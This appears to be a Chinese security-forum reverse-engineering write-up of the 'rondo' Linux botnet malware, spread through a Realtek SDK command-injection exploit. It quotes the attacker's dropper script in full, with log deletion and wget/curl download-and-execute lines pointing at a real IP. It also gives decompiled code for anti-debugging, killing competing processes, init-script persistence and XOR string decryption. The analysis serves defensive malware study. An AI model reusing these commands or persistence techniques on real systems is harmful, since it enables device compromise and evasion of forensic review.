首页
社区
课程
招聘
[原创]rondo木马文件逆向分析
发表于: 2025-9-22 19:53 2739

[原创]rondo木马文件逆向分析

2025-9-22 19:53
2739

捕获到针Realtek SDK 的 命令执行(CVE-2021-35394)漏洞利用尝试

攻击者传递payload为。

payload中恶意脚本(*rondo.kpa.sh*)分析

删除主机日志数据

下载多种执行木马文件(针对不同架构机器执行下载对应文件)

分析目标为rando.x86_64

IDA解析函数共244个

文件执行命令为 ./rondo "realtek.x86_64"

程序执行入口

entry_func检查stdin,stdout,stderr基础文件功能检查运行参数,向实际的主函数传递参数,

程序开始时向一段缓冲区中写入攻击者邮箱信息。

程序中存在大量的加密字符,以下是对应的解密函数

使用解密脚本

! 作为参数进行解密。

程序检查系统调试文件,发现存在调试即终止程序运行。

通过sys_time sys_get_pid等多种方式获取随机数,并获取/proc文件夹句柄。

以下是proc文件结构

采用三层嵌套实现遍历proc下全部进程id,并杀死除系统和自身进程以外的全部进程。

第一层,遍历进程,筛选非系统进程,完成后杀死全部记录进程并跳出全部循环

第二层,获取对应进程运行程序名称

第三层 ,

获取命令执行路径

通过随机数获取新的文件名称

用新获取的名称替换原本文件名称,将文件移动至**/lib/systemd**下,修改当前线程名称为新获取的名称,覆盖原本的argv参数,创建子进程,其中父进程进行

子进程实现持久化运行

创建文件夹 /etc /etc/rondo /etc/init/d

尝试打开当前进程管理文件 /proc/self/exe, 若存在,创建文件 /etc/rondo/rondo,创建失败直接退出

读取进程管理文件结构化内容

复制木马文件到 /etc/rondo/rondo下

组织初始化脚本,用于重启时启动木马文件

/etc/init/d/rondo /etc/rc3.d/S99rondo位置放置启动脚本设置权限511

Chmod 511chmod a+rwx,u-w,g-rw,o-rw) 设置权限,以便 (U)ser/所有者可以读取、不能写入和执行。(G)roup 不能读,不能写,可以执行。(其他)不能读,不能写,可以执行。)

向**/etc/RCs /etc/init.d/rcd /etc/rc.local ** 等自启动文件末尾 写入

/etc/rondo/rondo realtek.x86_64.persisted & 实现开机自启等操作

在/etc/contact.txt 文件下写入攻击者邮箱 bang2012@protomail.com

破坏系统命令如ufw passwd ,替换命令为其他字符

rondo 作为参数解码通信ip,解密出IP地址为83.150.218.93

与ip进行通信,实现远程命令执行保活等功能。

创建socket链接,

测试网络连接

发送数据信息

发送数据,分析通信流量信息

发送通信序列号

序列号格式rondo id

接收命令

orf;killall -9 mipsel mpsl mips boatnet.mpsl;busybox wget -qO- http://**********/rondo.kqa.sh|sh;echo
orf;killall -9 mipsel mpsl mips boatnet.mpsl;busybox wget -qO- http://**********/rondo.kqa.sh|sh;echo
\# bang2012@protonmail.com
rm -rf /var/log/* /var/cache/* ~/.cache
cd /dev
echo >/dev/shm/.t && cd /dev/shm; rm -f /dev/shm/.t
echo >$HOME/.t && cd $HOME; rm -f $HOME/.t
echo >/tmp/.t && cd /tmp; rm -f /tmp/.t
echo >/data/local/tmp/.t && cd /data/local/tmp; rm -f /data/local/tmp/.t
echo >/run/.t && cd /run; rm -f /run/.t
echo >/run/user/0/.t && cd /run/user/0; rm -f /run/user/0/.t
echo >/var/log/.t && cd /var/log; rm -f /var/log/.t
echo >/var/lock/.t && cd /var/lock; rm -f /var/lock/.t
echo >/var/run/.t && cd /var/run; rm -f /var/run/.t
echo >/var/tmp/.t && cd /var/tmp; rm -f /var/tmp/.t
echo >/mnt/.t && cd /mnt; rm -f /mnt/.t
echo >/media/.t && cd /media; rm -f /media/.t
echo >/usr/bin/.t && cd /usr/bin; rm -f /usr/bin/.t
echo >/bin/.t && cd /bin; rm -f /bin/.t
\# bang2012@protonmail.com
rm -rf /var/log/* /var/cache/* ~/.cache
cd /dev
echo >/dev/shm/.t && cd /dev/shm; rm -f /dev/shm/.t
echo >$HOME/.t && cd $HOME; rm -f $HOME/.t
echo >/tmp/.t && cd /tmp; rm -f /tmp/.t
echo >/data/local/tmp/.t && cd /data/local/tmp; rm -f /data/local/tmp/.t
echo >/run/.t && cd /run; rm -f /run/.t
echo >/run/user/0/.t && cd /run/user/0; rm -f /run/user/0/.t
echo >/var/log/.t && cd /var/log; rm -f /var/log/.t
echo >/var/lock/.t && cd /var/lock; rm -f /var/lock/.t
echo >/var/run/.t && cd /var/run; rm -f /var/run/.t
echo >/var/tmp/.t && cd /var/tmp; rm -f /var/tmp/.t
echo >/mnt/.t && cd /mnt; rm -f /mnt/.t
echo >/media/.t && cd /media; rm -f /media/.t
echo >/usr/bin/.t && cd /usr/bin; rm -f /usr/bin/.t
echo >/bin/.t && cd /bin; rm -f /bin/.t
mkdir lib
(chmod 755 lib||busybox chmod 755 lib)&&cd lib
rm -rf rondo
rm -rf rondo.*
(wget http://**.**.**.**/rondo.mipsel||curl -O http://83.252.42.112/rondo.mipsel||busybox wget http://83.252.42.112/rondo.mipsel)
(cat rondo.mipsel > rondo||busybox cat rondo.mipsel > rondo||mv rondo.mipsel > rondo)
rm -rf rondo.mipsel
(chmod 777 rondo||busybox chmod 777 rondo)||(chmod +x rondo||busybox chmod +x rondo)
killall -9 rondo;pkill -9 rondo
sudo killall -9 rondo;sudo pkill -9 rondo
sudo ./rondo "realtek.mipsel"; [ $? -eq 137 ] && exit 0
./rondo "realtek.mipsel"; [ $? -eq 137 ] && exit 0
mkdir lib
(chmod 755 lib||busybox chmod 755 lib)&&cd lib
rm -rf rondo
rm -rf rondo.*
(wget http://**.**.**.**/rondo.mipsel||curl -O http://83.252.42.112/rondo.mipsel||busybox wget http://83.252.42.112/rondo.mipsel)
(cat rondo.mipsel > rondo||busybox cat rondo.mipsel > rondo||mv rondo.mipsel > rondo)
rm -rf rondo.mipsel
(chmod 777 rondo||busybox chmod 777 rondo)||(chmod +x rondo||busybox chmod +x rondo)
killall -9 rondo;pkill -9 rondo
sudo killall -9 rondo;sudo pkill -9 rondo
sudo ./rondo "realtek.mipsel"; [ $? -eq 137 ] && exit 0
./rondo "realtek.mipsel"; [ $? -eq 137 ] && exit 0
entry_func(
  (__int64 (__fastcall *)(_QWORD, void **, __int64))main,
  env_count,
  &envp,
  (void (*)(void))init_proc,
  (__int64)term_proc,
  a3,
  (__int64)&v5);
entry_func(
  (__int64 (__fastcall *)(_QWORD, void **, __int64))main,
  env_count,
  &envp,
  (void (*)(void))init_proc,
  (__int64)term_proc,
  a3,
  (__int64)&v5);
write_log("bang2012@protonmail.com");
write_log("bang2012@protonmail.com");
__int64 __fastcall str_decropty(__int64 a1, __int64 a2)
{
  unsigned __int64 v3; // rbp
  __int64 result; // rax
  __int64 v5; // rsi
  unsigned __int64 v6; // rcx
 
  v3 = strlen(a2);
  result = strlen(a1);
  v5 = result;
  if ( result )
  {
    v6 = 0LL;
    do
    {
      result = *(unsigned __int8 *)(a2 + v6 % v3);
      *(_BYTE *)(v6 + a1) ^= result;
      ++v6;
    }
    while ( v5 != v6 );
  }
  return result;
}
__int64 __fastcall str_decropty(__int64 a1, __int64 a2)
{
  unsigned __int64 v3; // rbp
  __int64 result; // rax
  __int64 v5; // rsi
  unsigned __int64 v6; // rcx
 
  v3 = strlen(a2);
  result = strlen(a1);
  v5 = result;
  if ( result )
  {
    v6 = 0LL;
    do
    {
      result = *(unsigned __int8 *)(a2 + v6 % v3);
      *(_BYTE *)(v6 + a1) ^= result;
      ++v6;
    }
    while ( v5 != v6 );
  }
  return result;
}
def str_decropty(a1, a2):
    v3 = len(a2)
    result = len(a1)
    v5 = result
    if result:
        v6 = 0
        a1_list = list(a1)
        while v6 != v5:
            result = ord(a2[v6 % v3])
            a1_list[v6] = chr(ord(a1_list[v6]) ^ result)
            v6 += 1
        a1 = ''.join(a1_list)
    return a1
def str_decropty(a1, a2):
    v3 = len(a2)
    result = len(a1)
    v5 = result
    if result:
        v6 = 0
        a1_list = list(a1)
        while v6 != v5:
            result = ord(a2[v6 % v3])
            a1_list[v6] = chr(ord(a1_list[v6]) ^ result)
            v6 += 1
        a1 = ''.join(a1_list)
    return a1
str_decropty((__int64)&dev_null, (__int64)decropty_str);
sub_4007A0();
str_decropty((__int64)&proc_self_status, (__int64)decropty_str);
str_decropty((__int64)TracerPid, (__int64)decropty_str);
sub_4008C0();
str_decropty((__int64)&sys_module_kgdboc_parameters_, (__int64)decropty_str);
str_decropty((__int64)&proc_cmdline, (__int64)decropty_str);
str_decropty((__int64)&etc_default_grub, (__int64)decropty_str);
str_decropty((__int64)&proc_modules, (__int64)decropty_str);
str_decropty((__int64)&kgdboc, (__int64)decropty_str);
str_decropty((__int64)&kgdboc_0, (__int64)decropty_str);
str_decropty((__int64)&tty, (__int64)decropty_str);
str_decropty((__int64)&dev_null, (__int64)decropty_str);
sub_4007A0();
str_decropty((__int64)&proc_self_status, (__int64)decropty_str);
str_decropty((__int64)TracerPid, (__int64)decropty_str);
sub_4008C0();
str_decropty((__int64)&sys_module_kgdboc_parameters_, (__int64)decropty_str);
str_decropty((__int64)&proc_cmdline, (__int64)decropty_str);
str_decropty((__int64)&etc_default_grub, (__int64)decropty_str);
str_decropty((__int64)&proc_modules, (__int64)decropty_str);
str_decropty((__int64)&kgdboc, (__int64)decropty_str);
str_decropty((__int64)&kgdboc_0, (__int64)decropty_str);
str_decropty((__int64)&tty, (__int64)decropty_str);
if ( (unsigned int)find_str_in_file_1((__int64)&sys_module_kgdboc_parameters_, (__int64)&tty)
  || (unsigned int)find_str_in_file((__int64)&proc_cmdline, (__int64)&kgdboc)
  || (unsigned int)find_str_in_file((__int64)&etc_default_grub, (__int64)&kgdboc)
  || (unsigned int)find_str_in_file((__int64)&proc_modules, (__int64)&kgdboc_0) )
{
  kill(-1, 9);
  quitsxw(0);
}
if ( (unsigned int)find_str_in_file_1((__int64)&sys_module_kgdboc_parameters_, (__int64)&tty)
  || (unsigned int)find_str_in_file((__int64)&proc_cmdline, (__int64)&kgdboc)
  || (unsigned int)find_str_in_file((__int64)&etc_default_grub, (__int64)&kgdboc)
  || (unsigned int)find_str_in_file((__int64)&proc_modules, (__int64)&kgdboc_0) )
{
  kill(-1, 9);
  quitsxw(0);
}
sys_time = get_sys_time(0LL);
getrand_by_time(sys_time);
time_now = get_sys_time(0LL);
pid_a = sys_get_pid_a();
pid1_pid2 = sys_get_pid_b() ^ pid_a;
rand2 = sub_40C534();
nomeandata = pid1_pid2 ^ rand2;
current_pid = sys_get_pid_a();
rand_num = get_rand_func();
v15 = (unsigned int)(rand_num % 3 + 7);
rand_x = rand_num % 3 + 7;
rand_y = (int)v15;
rand_y_n = (int)v15 + 130LL;
v16 = alloca((int)v15 + 145LL);
file_dir_rand = &stack_str;
v94 = (unsigned int *)open_dir((int)&proc, v15, rand_num % 3 + 137, rand_num >> 31, v17, v18);
sys_time = get_sys_time(0LL);
getrand_by_time(sys_time);
time_now = get_sys_time(0LL);
pid_a = sys_get_pid_a();
pid1_pid2 = sys_get_pid_b() ^ pid_a;
rand2 = sub_40C534();
nomeandata = pid1_pid2 ^ rand2;
current_pid = sys_get_pid_a();
rand_num = get_rand_func();
v15 = (unsigned int)(rand_num % 3 + 7);
rand_x = rand_num % 3 + 7;
rand_y = (int)v15;
rand_y_n = (int)v15 + 130LL;
v16 = alloca((int)v15 + 145LL);
file_dir_rand = &stack_str;
v94 = (unsigned int *)open_dir((int)&proc, v15, rand_num % 3 + 137, rand_num >> 31, v17, v18);
文件/目录 描述
/proc/<PID>/exe 进程的可执行文件符号链接
/proc/<PID>/cwd 进程的当前工作目录
/proc/<PID>/fd/ 进程打开的文件描述符
/proc/<PID>/stat 进程状态信息(运行时间、内存等)
while ( 1 )
 {
   tmp_pid = iter_dir(v94);       //遍历文件
   if ( !tmp_pid )               //全部遍历完成后开始清除存储在buffer_pid中的进程
   {
     free_hd(v94);
     v33 = v97 - 1;
     if ( v97 - 1 >= 0 )
     {
       do
       {
         v34 = buffer_pid[v33];
         if ( v34 > 0 )
           kill(v34, 9);
         --v33;
       }
       while ( v33 != -1 );
     }
     goto LABEL_44;
   }
   if ( *(_BYTE *)(tmp_pid + 18) == 4 )
   {
     v20 = tmp_pid + 0x13;
     v21 = str_to_int(tmp_pid + 0x13);
     proc_pid = v21;
     if ( v21 > 299 && current_pid != v21 ) //进程pid超过299(非系统进程) 不是当前进程 进入下一循环
       break;
   }
 }
while ( 1 )
 {
   tmp_pid = iter_dir(v94);       //遍历文件
   if ( !tmp_pid )               //全部遍历完成后开始清除存储在buffer_pid中的进程
   {
     free_hd(v94);
     v33 = v97 - 1;
     if ( v97 - 1 >= 0 )
     {
       do
       {
         v34 = buffer_pid[v33];
         if ( v34 > 0 )
           kill(v34, 9);
         --v33;
       }
       while ( v33 != -1 );
     }
     goto LABEL_44;
   }
   if ( *(_BYTE *)(tmp_pid + 18) == 4 )
   {
     v20 = tmp_pid + 0x13;
     v21 = str_to_int(tmp_pid + 0x13);
     proc_pid = v21;
     if ( v21 > 299 && current_pid != v21 ) //进程pid超过299(非系统进程) 不是当前进程 进入下一循环
       break;
   }
 }
snprintf((__int64)proc_id, 4096LL, (__int64)&proc__s, v20);
read_link_len = read_link_addr(proc_id, real_addr, 4095);
if ( read_link_len != -1 )
  break;
if ( *(_DWORD *)globle_arg() == 2 )
  goto LABEL_38;
snprintf((__int64)proc_id, 4096LL, (__int64)&proc__s, v20);
read_link_len = read_link_addr(proc_id, real_addr, 4095);
if ( read_link_len != -1 )
  break;
if ( *(_DWORD *)globle_arg() == 2 )
  goto LABEL_38;
          if ( read_link_len > 0 )//获取实际路径存在
          {
            real_addr[read_link_len] = 0;
            path_buffer = ".";
            //规范获取的路径信息
            if ( real_addr[0] )
            {                                   // check address legal
                                                //
              v74 = real_addr;
              do
              {
                v75 = *(_DWORD *)v74;
                v74 += 4;
                v76 = ~v75 & (v75 - 16843009) & 0x80808080;
              }
              while ( !v76 );
              v77 = 1023LL;
              if ( (~v75 & (v75 - 16843009) & 0x8080) == 0 )
              {
                LOBYTE(v76) = (~v75 & (v75 - 16843009) & 0x80808080) >> 16;
                v74 += 2;
              }
              v78 = &v74[-__CFADD__((_BYTE)v76, (_BYTE)v76) - 3] - v83;
              if ( v78 <= 0x3FF )
                v77 = v78;
              amemcpy((__int64)exe_path_buffer, real_addr, v77);
              exe_path_buffer[v77] = 0;
              if ( v77 > 1 )
              {
                for ( i = v77 - 1; exe_path_buffer[i] == 47; --i )
                {
                  exe_path_buffer[i] = 0;
                  if ( i == 1 )
                    break;
                }
              }
              last_str = find_last_str(exe_path_buffer, '/');
              path_buffer = exe_path_buffer;
              v81 = last_str + 1;
              if ( !last_str )
                v81 = path_buffer;
              path_buffer = v81;
            }
            //若文件名称不是 (deleted)!,记录pid到buffer_pid中。
             
            v99 = (unsigned __int64)strlen(path_buffer);
            len_real_addr = (char *)(&real_addr[strlen(real_addr)] - v83);
            v24 = strlen(_deledted_);
            v25 = v24;
            if ( len_real_addr >= v24
              && !(unsigned int)strcmp((char *)(&real_addr[(_QWORD)len_real_addr] - v24), _deledted_) )
            {
              if ( v97 <= 4095 )
              {
                v73 = v97++;
                buffer_pid[v73] = proc_pid;
              }
              real_addr[len_real_addr - v25] = 0;
              len_real_addr = (char *)(&real_addr[strlen(real_addr)] - v83);
            }
             
            //若文件名称不是 (softirq)!,记录pid到buffer_pid中。
            v26 = strlen(softirq);
            if ( len_real_addr < v26 || (unsigned int)strcmp((char *)(&real_addr[(_QWORD)len_real_addr] - v26), softirq) )
            {
            //进行了对文件架构的查询(文件按末尾是否存在 arm等架构字符)
              struct_index = 0LL;
              v85 = &path_buffer[v99];
              do
              {
                v28 = (_BYTE *)structs_list_tmp[struct_index];
                v29 = strlen(v28);
                if ( v29
                  && (!(unsigned int)strcmp(path_buffer, v28)
                   || v99 > (unsigned __int64)v29
                   && path_buffer[v99 - (_QWORD)v29 - 1] == 46
                   && !(unsigned int)strcmp((char *)(v85 - v29), v28)) )
                {
                  break;
                }
                ++struct_index;
              }
              //对/tmp/ /var/ /data/local等文件夹下进程不做记录处理
              while ( struct_index != 29 );
              if ( (!(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170D9, 5uLL)
                 || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170E0, 5uLL)
                 || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170F1, 5uLL)
                 || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170F7, 5uLL)
                 || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170FD, 5uLL)
                 || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_517103, 5uLL)
                 || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_517109, 5uLL)
                 || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170D2, 6uLL)
                 || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_51710F, 7uLL))
                && v97 <= 4095 )
              {
                v30 = v97++;
                buffer_pid[v30] = proc_pid;
              }
              v31 = find_last_str(real_addr, '/');
              if ( v31 )
              {
                if ( v31[1] == 46 )
                {
LABEL_38:
                  if ( v97 <= 4095 )
                  {
                    v32 = v97++;
                    buffer_pid[v32] = proc_pid;
                  }
                }
              }
            }
          }
        }
          if ( read_link_len > 0 )//获取实际路径存在
          {
            real_addr[read_link_len] = 0;
            path_buffer = ".";
            //规范获取的路径信息
            if ( real_addr[0] )
            {                                   // check address legal
                                                //
              v74 = real_addr;
              do
              {
                v75 = *(_DWORD *)v74;
                v74 += 4;
                v76 = ~v75 & (v75 - 16843009) & 0x80808080;
              }
              while ( !v76 );
              v77 = 1023LL;
              if ( (~v75 & (v75 - 16843009) & 0x8080) == 0 )
              {
                LOBYTE(v76) = (~v75 & (v75 - 16843009) & 0x80808080) >> 16;
                v74 += 2;
              }
              v78 = &v74[-__CFADD__((_BYTE)v76, (_BYTE)v76) - 3] - v83;
              if ( v78 <= 0x3FF )
                v77 = v78;
              amemcpy((__int64)exe_path_buffer, real_addr, v77);
              exe_path_buffer[v77] = 0;
              if ( v77 > 1 )
              {
                for ( i = v77 - 1; exe_path_buffer[i] == 47; --i )
                {
                  exe_path_buffer[i] = 0;
                  if ( i == 1 )
                    break;
                }
              }
              last_str = find_last_str(exe_path_buffer, '/');
              path_buffer = exe_path_buffer;
              v81 = last_str + 1;
              if ( !last_str )
                v81 = path_buffer;
              path_buffer = v81;
            }
            //若文件名称不是 (deleted)!,记录pid到buffer_pid中。
             
            v99 = (unsigned __int64)strlen(path_buffer);
            len_real_addr = (char *)(&real_addr[strlen(real_addr)] - v83);
            v24 = strlen(_deledted_);
            v25 = v24;
            if ( len_real_addr >= v24
              && !(unsigned int)strcmp((char *)(&real_addr[(_QWORD)len_real_addr] - v24), _deledted_) )
            {
              if ( v97 <= 4095 )
              {
                v73 = v97++;
                buffer_pid[v73] = proc_pid;
              }
              real_addr[len_real_addr - v25] = 0;
              len_real_addr = (char *)(&real_addr[strlen(real_addr)] - v83);
            }
             
            //若文件名称不是 (softirq)!,记录pid到buffer_pid中。
            v26 = strlen(softirq);
            if ( len_real_addr < v26 || (unsigned int)strcmp((char *)(&real_addr[(_QWORD)len_real_addr] - v26), softirq) )
            {
            //进行了对文件架构的查询(文件按末尾是否存在 arm等架构字符)
              struct_index = 0LL;
              v85 = &path_buffer[v99];
              do
              {
                v28 = (_BYTE *)structs_list_tmp[struct_index];
                v29 = strlen(v28);
                if ( v29
                  && (!(unsigned int)strcmp(path_buffer, v28)
                   || v99 > (unsigned __int64)v29
                   && path_buffer[v99 - (_QWORD)v29 - 1] == 46
                   && !(unsigned int)strcmp((char *)(v85 - v29), v28)) )
                {
                  break;
                }
                ++struct_index;
              }
              //对/tmp/ /var/ /data/local等文件夹下进程不做记录处理
              while ( struct_index != 29 );
              if ( (!(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170D9, 5uLL)

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回